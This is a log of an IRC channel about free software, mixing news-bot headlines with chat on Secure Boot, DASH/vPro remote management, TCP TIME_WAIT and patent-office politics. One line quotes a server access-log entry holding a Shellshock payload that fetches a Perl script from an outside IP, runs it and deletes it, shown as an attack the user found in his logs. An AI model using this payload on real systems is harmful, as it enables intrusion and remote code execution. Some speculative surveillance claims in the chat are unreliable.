| TweetTuxMachines | Packages Updated http://t.co/TEOv4Js0Fn | Oct 06 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 20:26 |
| TweetTuxMachines | history http://t.co/4M5oSb7Y7V | Oct 06 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why a penguin? Recapping a slice of Linux history | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 20:26 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines Ally Skills Training at LinuxCon 2015: Uniting | Oct 06 20:26 |
| TweetTuxMachines | All the World’s Geeks, No Exceptions | Oct 06 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Tux Machines | Oct 06 20:26 | |
| *TweetTuxMachines @techmuser favourited 'Why a penguin? Recapping a slice of Linux...' | Oct 06 20:26 | |
| cubexyz | long story short: you don't really want secure boot | Oct 06 20:32 |
| cubexyz | Microsoft controls the master key | Oct 06 20:32 |
| cubexyz | I don't want to have to disable secure boot | Oct 06 20:34 |
| cubexyz | I don't want the secure boot firmware at all | Oct 06 20:34 |
| cubexyz | also: "Programmatic disabling of secure boot either during boot services after exiting EFI Boot services must NOT be possible on ARM systems" | Oct 06 20:38 |
| cubexyz | Microsoft could pull the carpet out from under you can any time | Oct 06 20:42 |
| schestowitz | https://twitter.com/AJimenez1988/status/651479100910096384 https://twitter.com/AJimenez1988/status/651481904185741316 | Oct 06 20:44 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Same as boycotting Brendan Eich was not about "gay rights" but about DRM. | Oct 06 20:44 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Yeah, opium, lithium and the Great Game were completely unintended side perks. | Oct 06 20:44 | |
| cubexyz | so then what happened later? | Oct 06 20:49 |
| cubexyz | Microsoft announced that Windows 10 will not require manufacturers to include an option to turn off UEFI | Oct 06 20:49 |
| cubexyz | tightening the screws | Oct 06 20:49 |
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| cubexyz | TCP/IP port lingering? A microsoft invention | Oct 06 20:55 |
| msb_ | cubexyz: The alternative, for people who want a 3 times faster, 8 core cpu, is to use an AMD FX-8350 and an ASUS 990FX R2.0 mobo in which secure boot can be turned off permanently. The cpu and mobo each cost $180. The DASH intrusion system in the cpu (or AMT intrusion system in an Intel cpu) is defeated by an external custom deep-packet-inspection router that deletes all DASH packets. The router can also send specific DASH packets to | Oct 06 21:06 |
| msb_ | tie up the DASH system. Hopefully the router can be a Raspberry Pi or the like. | Oct 06 21:06 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/epo-bids-to-save-litigating-employees.html | Oct 06 21:08 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: EPO bids to save litigating employees from union's human rights infractions [ http://ur1.ca/nxldc ] | Oct 06 21:08 | |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | That is really topping up everything which came up to now. | Oct 06 21:08 |
| schestowitz | When a national court issues a decision which displeases the President, then it is to be ignored, as national law is not applicable to EPO. Now, national law is good and should be respected. | Oct 06 21:08 |
| schestowitz | Have those two VP no sense of shame, especially VP5 which is a legally qualified person (or merely thinks he is one)? | Oct 06 21:08 |
| schestowitz | More hypocrisy is difficult to overthrow. | Oct 06 21:08 |
| schestowitz | Poor EPO with such "leaders and managers". | Oct 06 21:08 |
| schestowitz | Mao said it a long time ago: the fish stinks from head.....How true | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | rots from the head | Oct 06 21:08 |
| schestowitz | "Any thoughts of guilt, any feelings of regret, has faded. BB has baked the VP’s out. " | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | Isn't it the EPO who locks up "suspects", sorry, the "guilty" for hours on end for "questioning", in a setting reminiscent of the opening scene of "Das Leben der Anderen", without any kind of assistance? And the same EPO that threatens them with unspeakable things should they either keep silent before their tormentors, or mention their ordeal to anyone? | Oct 06 21:08 |
| schestowitz | I can't see in this text anything but a lame attempt for the EPO to create a flimsy excuse to refuse to interact with any counsel the staff member may have retained. | Oct 06 21:08 |
| schestowitz | The paternalistic suggestion that a staff member get counseling with the EPO's very own legal department [?] that is responsible for the present mess, is astounding, but the situation is so far out that I ran out of rage and indignation. | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | https://twitter.com/Ellen_Timmer/status/651489417929064448 | Oct 06 21:10 |
| -TechrightsBot-tr/#techrights-@Ellen_Timmer: @schestowitz @meneer Moet je wel #NoScript e.d. aan zetten | Oct 06 21:11 | |
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| msb_ | schestowitz: What you are describing is a system designed by and for psychopaths. This is the norm for Western governments and corporations. Here's a video about it, called...I am Fishead! https://www.youtube.com/watch?v=bcRRZsag0Io | Oct 06 21:18 |
| -TechrightsBot-tr/#techrights-www.youtube.com | I Am Fishead Are Corporate Leaders Egotistical Psychopaths ) - YouTube [ http://ur1.ca/nxlhq ] | Oct 06 21:18 | |
| msb_ | schestowitz: Full-blown psychopaths are not human, not people. Their hardware is human, but their software is anti-human, predatory. It may help to think of them as insectoids. Rage and indignation have no effect on them (except maybe to afford them some enjoyment at the suffering of their victim). Those emotions were evolved to have an effect on people that have harmed us. Psychopaths are not people. Getting angry at them is | Oct 06 21:30 |
| msb_ | counterproductive. Instead, just focus your effort on defeating them. You wouldn't get angry at a shark chasing you, or a boulder rolling down a mountain toward you, right? Because these things aren't human. | Oct 06 21:30 |
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| TweetTuxMachines | @tuxmachines IBM releases Power-based Linux servers with | Oct 06 21:41 |
| TweetTuxMachines | Nvidia GPUs http://t.co/MydG1qiwjD | Oct 06 21:41 |
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| -TechrightsBot-tr/#techrights-www.theinquirer.net | IBM releases Power-based Linux servers with Nvidia GPUs- The Inquirer | Oct 06 21:41 | |
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| -TechrightsBot-tr/#techrights-freedompenguin.com | What Are Linux Meta-packages? - Freedom Penguin | Oct 06 21:42 | |
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| TweetTuxMachines | Outsmarts Apple By Guessing Your Next Move | Oct 06 21:45 |
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| msb_ | RT Excellent show Watching the Hawks. BP fined $20billion for totally negligent Deepwater Horizon spill. But the DOJ is allowing BP to write off $15billion of it on their taxes!!! | Oct 06 23:05 |
| MinceR | bailout? :> | Oct 06 23:11 |
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| msb_ | It shows who controls the US govt -- the ultra-wealthy and their corporations. During the spill the govt environment agency insisted there was no oil on the ocean floor. But movies taken from a mini-sub showed the bottom was covered with a thick layer of oil plus extremely toxic dispersant, shown on US TV. The bottom is where shrimp and some fish spend half their lives, and shrimp are showing up with no eyes and horrible tumors. The | Oct 06 23:31 |
| msb_ | people of the Gulf are still suffering, but BP is bailed out by the US govt. | Oct 06 23:31 |
| msb_ | This is _not_ democracy. | Oct 06 23:32 |
| MinceR | on some level, it indeed isn't. and it's up to you the people to fix that. | Oct 06 23:34 |
| MinceR | via election reform, campaign finance reform, etc. | Oct 06 23:34 |
| msb_ | Bernie Sanders for President, and Larry Lessig for Vice President! | Oct 06 23:39 |
| MinceR | the other way around | Oct 06 23:40 |
| cubexyz | stallman is putting the smack-down on spotify | Oct 06 23:40 |
| MinceR | Larry will step down once he's done anyway | Oct 06 23:40 |
| cubexyz | naturally spotify has DRM and snooping | Oct 06 23:40 |
| MinceR | he needs to put the smackdown on cancerd | Oct 06 23:41 |
| cubexyz | "out, out damned spotify" :) | Oct 06 23:41 |
| MinceR | :) | Oct 06 23:42 |
| cubexyz | well, that's why I keep talking about BSD | Oct 06 23:42 |
| cubexyz | no perfect solution | Oct 06 23:42 |
| msb_ | cubexyz: What is port lingering and why is it bad? | Oct 06 23:42 |
| msb_ | Is it like port loitering near a schoolyard dressed only in a raincoat? | Oct 06 23:44 |
| cubexyz | just a sec... | Oct 06 23:45 |
| cubexyz | ok | Oct 06 23:45 |
| cubexyz | There are fears that Microsoft uses the "TIM_WAIT" state after a disconnect | Oct 06 23:46 |
| cubexyz | one needs to read up on gethostbyname and windows sockets | Oct 06 23:46 |
| cubexyz | not sure what software uses it | Oct 06 23:47 |
| cubexyz | so NSA could use it as a way in on Linux, not just Windows | Oct 06 23:47 |
| msb_ | So it's not a problem for Linux? | Oct 06 23:47 |
| cubexyz | not really sure to tell you the truth | Oct 06 23:48 |
| cubexyz | it's possible that gethostbyname uses windows sockets, I'm not sure yet | Oct 06 23:48 |
| MinceR | i thought unix did TIME_WAIT too | Oct 06 23:50 |
| MinceR | http://superuser.com/questions/173535/what-are-close-wait-and-time-wait-states | Oct 06 23:50 |
| -TechrightsBot-tr/#techrights-superuser.com | windows - What are CLOSE_WAIT and TIME_WAIT states? - Super User [ http://ur1.ca/nxn7h ] | Oct 06 23:50 | |
| cubexyz | yeah, this guy who wrote this could be a bit paranoid | Oct 06 23:52 |
| cubexyz | but he seems knowledgeable | Oct 06 23:52 |
| cubexyz | he's saying that every tcp/ip port is lingering in TIM_WAIT state after disconnecting | Oct 06 23:53 |
| MinceR | afaik there are good reasons for it, but iirc it can indeed be troublesome if one's developing network applications | Oct 06 23:53 |
| MinceR | (you want to restart your server on the same port, but that port's still blocked for the sake of the previous connection) | Oct 06 23:53 |
| msb_ | Never reboot! | Oct 06 23:54 |
| MinceR | lol | Oct 06 23:54 |
| MinceR | i meant the server program | Oct 06 23:54 |
| cubexyz | if you do a "netstat -a" it will probably show a bunch of ports in the TIME_WAIT state | Oct 06 23:54 |
| cubexyz | looks like https stuff mostly | Oct 06 23:55 |
| MinceR | http://developerweb.net/viewtopic.php?id=2941 | Oct 06 23:55 |
| -TechrightsBot-tr/#techrights-developerweb.net | 2.7 - Please explain the TIME_WAIT state (Page 1) / UNIX Socket FAQ / UNIX Socket FAQ [ http://ur1.ca/nxn9b ] | Oct 06 23:55 | |
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| cubexyz | it's still a good idea to check your ports though | Oct 06 23:57 |
| msb_ | Yikes! I have 417 connections! | Oct 06 23:57 |
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| msb_ | 72 of them involving X11. What is X doing connected to the network? | Oct 07 00:00 |
| msb_ | Are there 72 NSA guys looking at my screen? | Oct 07 00:01 |
| msb_ | I should demand a salary for educating them! | Oct 07 00:02 |
| MinceR | via tcp or via unix domain sockets? | Oct 07 00:03 |
| cubexyz | do you use X11 forwarding? | Oct 07 00:03 |
| msb_ | Unix, and no. | Oct 07 00:04 |
| MinceR | that | Oct 07 00:04 |
| MinceR | that's normal | Oct 07 00:04 |
| MinceR | those are local connections | Oct 07 00:04 |
| MinceR | x was designed to work over the network from the beginning, so local x clients normally connect via unix domain sockets | Oct 07 00:04 |
| cubexyz | try netstat --protocol=inet | Oct 07 00:05 |
| msb_ | Thanks! | Oct 07 00:05 |
| msb_ | Only 7 of those. | Oct 07 00:06 |
| msb_ | cubexyz: So in my 8-core fast computer solution, is the only thing I have to worry about secret backdoors in the BIOS? | Oct 07 00:09 |
| cubexyz | well I wouldn't say it's the only thing | Oct 07 00:09 |
| msb_ | What else? | Oct 07 00:09 |
| cubexyz | router hacks | Oct 07 00:09 |
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| msb_ | It would be a router that I wrote, and talk to via a serial line. | Oct 07 00:10 |
| cubexyz | which router is that? | Oct 07 00:11 |
| msb_ | One running on a RPi or similar SBC. | Oct 07 00:11 |
| cubexyz | well, that sounds better than what most people use | Oct 07 00:12 |
| msb_ | It would treat incoming and outgoing packets only as data, not commands. | Oct 07 00:12 |
| msb_ | Hopefully the command packet protocol for DASH is available from AMD, since corporations use it. Not a govt secret. | Oct 07 00:13 |
| cubexyz | it's just possibility of an attack vector | Oct 07 00:14 |
| cubexyz | not likely, but possible | Oct 07 00:15 |
| msb_ | Seems like a very high probability the govt could use it to attack. | Oct 07 00:15 |
| msb_ | Why not likely? | Oct 07 00:15 |
| msb_ | Total control. Just what the govt wants. | Oct 07 00:15 |
| cubexyz | monitoring yes, attacks probably not | Oct 07 00:16 |
| MinceR | can't you disable DASH from bios/uefi? | Oct 07 00:16 |
| msb_ | They could flash my screen in Alpha and make me crave fresh brains! | Oct 07 00:16 |
| TweetTuxMachines | @tuxmachines Displaylink adds Linux support for USB monitors | Oct 07 00:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Displaylink adds Linux support for USB monitors | Tux Machines | Oct 07 00:17 | |
| TweetTuxMachines | @tuxmachines Five million Raspberry Pi’s is a Sony UK | Oct 07 00:17 |
| TweetTuxMachines | success story http://t.co/ilzaz05CB2 | Oct 07 00:17 |
| TweetTuxMachines | (www.electronicsweekly.com) | Oct 07 00:17 |
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| -TechrightsBot-tr/#techrights-www.electronicsweekly.com | Five million Raspberry Pi's is a Sony UK success story | Electronics Weekly | Oct 07 00:17 | |
| TweetTuxMachines | @tuxmachines The ZFS File System Will Be Included in Ubuntu, | Oct 07 00:17 |
| TweetTuxMachines | Says Mark Shuttleworth http://t.co/Fdpmtt5dxe | Oct 07 00:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The ZFS File System Will Be Included in Ubuntu, Says Mark Shuttleworth | Tux Machines | Oct 07 00:17 | |
| cubexyz | that's just it, without the BIOS/UEFI source code, you don't really know if you can turn it off | Oct 07 00:18 |
| cubexyz | it's not really the NSA I fear here, but the black hat hackers | Oct 07 00:18 |
| cubexyz | people who vandalize computers online for no good reason | Oct 07 00:19 |
| msb_ | The ASUS 990FX mobo manual doesn't mention DASH. | Oct 07 00:20 |
| cubexyz | not all motherboards have it | Oct 07 00:21 |
| msb_ | Does DASH need to be turned on by the mobo in order to work? Or is it turned on by default, waiting for a command packet, ready to loot and maim. And take revenge, Morbius, and kill! | Oct 07 00:26 |
| cubexyz | the motherboard vendor should tell you if DASH is supported | Oct 07 00:26 |
| cubexyz | it's even considered a selling feature for some | Oct 07 00:26 |
| MinceR | murder death kill! | Oct 07 00:26 |
| cubexyz | you can imagine all the replies I got when I asked the major vendors for BIOS source code :) | Oct 07 00:27 |
| msb_ | Forbidden Planet, still perhaps the greatest sci-fi movie ever made! | Oct 07 00:27 |
| msb_ | Er, zero? Maybe -1? | Oct 07 00:28 |
| cubexyz | yeah no replies | Oct 07 00:28 |
| tessier | schestowitz: https://www.youtube.com/watch?v=OeHjN4oWVfk I was never into gaming but apparently MS screwed over gamers plenty. | Oct 07 00:29 |
| -TechrightsBot-tr/#techrights-www.youtube.com | Microsoft Sucks - YouTube [ http://ur1.ca/nxnp9 ] | Oct 07 00:29 | |
| cubexyz | once you see stuff like TPM 1.2 controller onboard... | Oct 07 00:31 |
| XFaCE | cubexyz: DASH? | Oct 07 00:36 |
| cubexyz | https://en.wikipedia.org/wiki/Desktop_and_mobile_Architecture_for_System_Hardware | Oct 07 00:37 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Desktop and mobile Architecture for System Hardware - Wikipedia, the free encyclopedia [ http://ur1.ca/nxntc ] | Oct 07 00:37 | |
| msb_ | MS screws everybody over. Why should gamers be any different? | Oct 07 00:42 |
| cubexyz | chromebook's got TPM as well | Oct 07 00:44 |
| cubexyz | but with chromebook you can switch to developer mode, so there's no problem changing the firmware | Oct 07 00:45 |
| msb_ | https://en.wikipedia.org/wiki/Trusted_Platform_Module#Criticism | Oct 07 00:48 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Trusted Platform Module - Wikipedia, the free encyclopedia [ http://ur1.ca/nxnz9 ] | Oct 07 00:48 | |
| msb_ | Is there a list of all these dirty intrusion methods? Is it finite? At least countably infinite? | Oct 07 00:50 |
| cubexyz | know your OS, know your firmware | Oct 07 01:09 |
| cubexyz | there's only so many ways in | Oct 07 01:09 |
| msb_ | Yeah, about 40 million, unless you read, understand and check every instruction in the firmware. And the CPU and its internal microprocessor and its firmware. | Oct 07 01:50 |
| msb_ | There are hundreds of engineers involved in designing those things. How long will it take for a single person to check them all out? | Oct 07 01:51 |
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| cubexyz | it's not as bad as you might think | Oct 07 02:03 |
| cubexyz | some of my motherboards have 512K or even 256K firmware | Oct 07 02:03 |
| cubexyz | plus with coreboot you know what's in there | Oct 07 02:03 |
| cubexyz | I'm always checking things | Oct 07 02:06 |
| cubexyz | things like this: | Oct 07 02:07 |
| cubexyz | GET /linuxnotes.txt HTTP/1.1" 200 135303 "-" "#28#29 { :;}; /bin/bash -c \"curl -O http://194.1.195.191/b00t.pl -o /tmp/b00t.pl; lwp-download -a http://194.1.195.191/b00t.pl /tmp/b00t.pl;wget http://194.1.195.191/b00t.pl -O /tmp/b00t.pl;perl /tmp/b00t.pl;rm -f /tmp/b00t.pl*;mkdir /tmp/b00t.pl\" | Oct 07 02:07 |
| cubexyz | Ukrainian IP address :) | Oct 07 02:07 |
| MinceR | cute | Oct 07 02:08 |
| TweetTuxMachines | @tuxmachines Git 2.6.1 Open-Source Distributed Version | Oct 07 02:10 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Git 2.6.1 Open-Source Distributed Version Control System Adds Xdiff Changes | Tux Machines | Oct 07 02:10 | |
| cubexyz | yes, rule #1, check the logs :) | Oct 07 02:14 |
| MinceR | i thought rule #1 was do not talk about fight club | Oct 07 02:15 |
| cubexyz | this is hack club, not fight club :) | Oct 07 02:17 |
| MinceR | :) | Oct 07 02:18 |
| cubexyz | I mean who really wants Vpro which could be hacked even if your computer is off? | Oct 07 02:20 |
| cubexyz | evidently a Vpro processor has this 2nd processor with it's own operating system | Oct 07 02:22 |
| cubexyz | I ask vendors which motherboards ship with coreboot, I never get an answer | Oct 07 02:35 |
| msb_ | Call them on the phone. Corps never answer emails. | Oct 07 02:42 |
| msb_ | When they say they don't know, ask for a supervisor. Preferably not one working for a bowl of rice a day in India. | Oct 07 02:44 |
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| msb_ | test | Oct 07 05:13 |
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| schestowitz | https://twitter.com/profBhttps://twitter.com/profBury/status/651534438669647873ury/status/651534438669647873 | Oct 07 07:59 |
| -TechrightsBot-tr/#techrights-@profBury: Link http://t.co/17dVEzFtWU by @schestowitz is the most popular tweet in my news feed today. | Oct 07 07:59 | |
| -TechrightsBot-tr/#techrights--> linkis.com | Leaked memos reveal GCHQ efforts to keep mass surveillance secret | UK news | The Guardian - Linkis.com | Oct 07 07:59 | |
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| -TechrightsBot-tr/#techrights-www.geeksnack.com | Top 5 best Android multiplayer games in 2015 - GeekSnack | Oct 07 08:35 | |
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| -TechrightsBot-tr/#techrights-paper.li | A piece of Raspberry Pi daily | Oct 07 09:18 | |
| TweetTuxMachines | @tuxmachines The ZFS File System Will Be Included in Ubuntu, | Oct 07 09:18 |
| TweetTuxMachines | Says Mark Shuttleworth http://t.co/S0OITF8Vyh | Oct 07 09:18 |
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| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 09:18 |
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| TweetTuxMachines | @tuxmachines Why the software world needs a 'no-fly zone' | Oct 07 09:18 |
| TweetTuxMachines | for patents http://t.co/5YmDR5ECF9 | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why the software world needs a 'no-fly zone' for patents | Tux Machines | Oct 07 09:18 | |
| schestowitz | "third party" http://news.softpedia.com/news/microsoft-office-in-windows-against-third-party-alternatives-492990.shtml | Oct 07 09:39 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Microsoft Office in Windows against Third-Party Alternatives - Softpedia [ http://ur1.ca/nxuhl ] | Oct 07 09:39 | |
| schestowitz | https://twitter.com/Messgorough/status/651689482727653376 | Oct 07 10:27 |
| -TechrightsBot-tr/#techrights-@Messgorough: @schestowitz At last! Google plays reign of terror needs to end. | Oct 07 10:27 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 10:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS | Tux Machines | Oct 07 10:31 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 10:31 |
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| TweetTuxMachines | @tuxmachines Lessons From Volkswagen http://t.co/NBmYvNO5zh | Oct 07 10:32 |
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| TweetTuxMachines | @tuxmachines Mozilla Boosts Leadership Team With Connected | Oct 07 10:32 |
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| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 10:33 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 10:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 | Tux Machines | Oct 07 10:33 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 10:33 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 10:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's | Tux Machines | Oct 07 10:33 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 10:39 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Xen now available in CentOS 7 for ARM64 servers | Tux Machines | Oct 07 10:39 | |
| TweetTuxMachines | @tuxmachines Roku’s 4th gen media player does 4K, gets | Oct 07 10:39 |
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| -TechrightsBot-tr/#techrights-linuxgizmos.com | Roku's 4th gen media player does 4K, gets larger, costs more · LinuxGizmos.com | Oct 07 10:39 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Snappy Core 15.04 Now Features Basic | Oct 07 10:46 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Snappy Core 15.04 Now Features Basic Support for UEFI Firmware Updates - Softpedia | Oct 07 10:46 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Gets Ready for Release, Many | Oct 07 10:46 |
| TweetTuxMachines | Memory Leaks Were Plugged | Oct 07 10:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Gets Ready for Release, Many Memory Leaks Were Plugged - Softpedia | Oct 07 10:46 | |
| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 10:52 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 10:52 |
| TweetTuxMachines | http://t.co/M9nMWgu0y6 (news.softpedia.com) | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 - Softpedia | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 10:52 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 10:52 |
| TweetTuxMachines | http://t.co/jp7IM0RpoZ (news.softpedia.com) | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's - Softpedia | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 10:52 |
| TweetTuxMachines | https://t.co/8m25YjUmY5 (blog.xenproject.org) | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-blog.xenproject.org | Xen now available in CentOS 7 for ARM64 servers | Xen Project Blog | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Android-x86 Now Based on Android 5.1.1 | Oct 07 10:53 |
| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 10:53 |
| TweetTuxMachines | http://t.co/I6s2cj8Z4X (news.softpedia.com) | Oct 07 10:53 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels - Softpedia | Oct 07 10:53 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 10:56 |
| TweetTuxMachines | Docker Apps, Linux Kernel 4.1 LTS | Oct 07 10:56 |
| TweetTuxMachines | http://t.co/BArtvCOiQO (news.softpedia.com) | Oct 07 10:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS - Softpedia | Oct 07 10:56 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 10:56 |
| TweetTuxMachines | Based on Debian 8.2 Jessie - Video | Oct 07 10:56 |
| TweetTuxMachines | http://t.co/rHMA5Ood0X (news.softpedia.com) | Oct 07 10:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video - Softpedia | Oct 07 10:56 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 11:16 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com: OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 http://news.softpedia.com/news/openshot-2-0-video-editor-to-be-released-soon-for-linux-mac-os-x-and-windows-10-493259.shtml | Oct 07 11:16 | |
| -TechrightsBot-tr/#techrights--> news.softpedia.com | OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 - Softpedia [ http://ur1.ca/nw8sk ] | Oct 07 11:16 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 11:17 |
| schestowitz | "lumiera looked like a promising beginning, but I don’t recall the ever doing even an alpha release." | Oct 07 11:17 |
| schestowitz | > lots of M$ hardware spam at most sites; no links here | Oct 07 11:37 |
| schestowitz | Yes, I don't expect to be writing about it. Would only help them... | Oct 07 11:37 |
| schestowitz | https://twitter.com/reggaecrisp1/status/651707224394452992 | Oct 07 11:44 |
| -TechrightsBot-tr/#techrights-@reggaecrisp1: A scandalous document, created by crooks, approved by crooks and policed by crooks. What could possibly go wrong. https://t.co/ydZleVij9d | Oct 07 11:44 | |
| -TechrightsBot-tr/#techrights-@schestowitz: #TPP Negotiations Conclude: What Next for the Trade Deal Without a Public Text? http://t.co/vJ3AG3D0wh collusion against the public | Oct 07 11:44 | |
| schestowitz | > dead link: | Oct 07 11:46 |
| schestowitz | > | Oct 07 11:46 |
| schestowitz | > http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html | Oct 07 11:47 |
| -TechrightsBot-tr/#techrights- ( status 404 @ http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html ) | Oct 07 11:47 | |
| schestowitz | What was it about? Was it spiked? | Oct 07 11:47 |
| schestowitz | In the news... | Oct 07 12:13 |
| schestowitz | This may be of interest to the company | Oct 07 12:13 |
| schestowitz | FU: http://www.computing.co.uk/ctg/interview/2426120/the-power-of-open-source-from-postgres-to-cassandra-at-first-utility | Oct 07 12:13 |
| schestowitz | Competitor: http://www.cbronline.com/news/enterprise-it/software/an-essential-guide-to-using-open-source-monitoring-tools-4672669 | Oct 07 12:13 |
| -TechrightsBot-tr/#techrights-www.computing.co.uk | The power of open source: From Postgres to Cassandra at First Utility - 16 Sep 2015 - Computing Interview [ http://ur1.ca/nxvlq ] | Oct 07 12:13 | |
| -TechrightsBot-tr/#techrights-www.cbronline.com | An essential guide to using Open Source monitoring tools - Computer Business Review [ http://ur1.ca/nxvlr ] | Oct 07 12:13 | |
| schestowitz | > http://mrpogson.com/2015/10/05/sarah-sharp-im-not-a-linux-kernel-developer-any-more/ | Oct 07 12:18 |
| -TechrightsBot-tr/#techrights-mrpogson.com | Sarah Sharp: “I’m not a Linux kernel developer any more” | Robert Pogson [ http://ur1.ca/nxvmw ] | Oct 07 12:18 | |
| schestowitz | > | Oct 07 12:18 |
| schestowitz | > he's just feeding the troll | Oct 07 12:18 |
| schestowitz | Not just him.... | Oct 07 12:18 |
| schestowitz | https://twitter.com/Twpalovi/status/651716113538093056 | Oct 07 12:22 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Where is that? | Oct 07 12:22 | |
| msb_ | Marvel's Agents of S.H.I.E.L.D. S03E02 is wonderful! | Oct 07 12:22 |
| schestowitz | One example: http://www.cbsnews.com/news/google-to-unmask-skank-blogger/ | Oct 07 12:23 |
| -TechrightsBot-tr/#techrights-www.cbsnews.com | Google to Unmask "Skank" Blogger - CBS News [ http://ur1.ca/nxvnt ] | Oct 07 12:23 | |
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| *TweetTuxMachines @techmuser favourited 'Proxmox VE 4.0 Has Linux Containers Support, Based...' | Oct 07 13:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: KDE http://t.co/1I64sjKREa | Oct 07 13:00 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 13:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: KDE | Tux Machines | Oct 07 13:00 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/DvJcpiaeUx | Oct 07 13:09 |
| TweetTuxMachines | (www.linux.it) | Oct 07 13:09 |
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| -TechrightsBot-tr/#techrights-www.linux.it | Emanuele Rocca: systemd is your friend | Oct 07 13:09 | |
| TweetTuxMachines | @tuxmachines How to move the needle in open source | Oct 07 13:09 |
| TweetTuxMachines | http://t.co/G8QpW01O4A (www.tuxmachines.org) | Oct 07 13:09 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How to move the needle in open source | Tux Machines | Oct 07 13:10 | |
| TweetTuxMachines | @tuxmachines Azul Zing goes live on Red Hat Enterprise Linux | Oct 07 13:10 |
